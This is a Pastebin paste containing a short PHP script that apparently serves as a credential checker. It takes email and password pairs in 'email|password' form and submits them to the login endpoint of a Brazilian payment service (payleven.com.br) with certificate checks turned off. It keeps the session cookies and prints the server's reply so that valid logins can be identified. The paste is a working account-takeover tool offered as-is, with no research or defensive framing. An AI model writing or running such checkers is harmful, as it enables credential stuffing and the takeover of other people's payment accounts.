Advertisement
Guest User

Untitled

a guest
Jul 9th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. <?php
  2.  
  3. if(!empty($_POST["bin"])){
  4. $bin = $_POST["bin"];
  5. $email = explode("|", $bin)[0];
  6. $senha = explode("|", $bin)[1];
  7. $ch = curl_init();
  8. curl_setopt($ch, CURLOPT_URL, "https://minhaconta.payleven.com.br/login_check");
  9. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  10. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  11. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  12. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  13. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  14. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
  15. curl_setopt($ch, CURLOPT_POST, 1);
  16. curl_setopt ($ch, CURLOPT_POSTFIELDS, '_username=' . urlencode($email) . '&_password=' . urlencode($senha));
  17.  
  18. curl_setopt($ch, CURLOPT_HEADER, 1);
  19.  
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  21.  
  22. $dados = curl_exec($ch);
  23.  
  24. echo "$dados";
  25.  
  26. }else{ echo 'erro'; }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement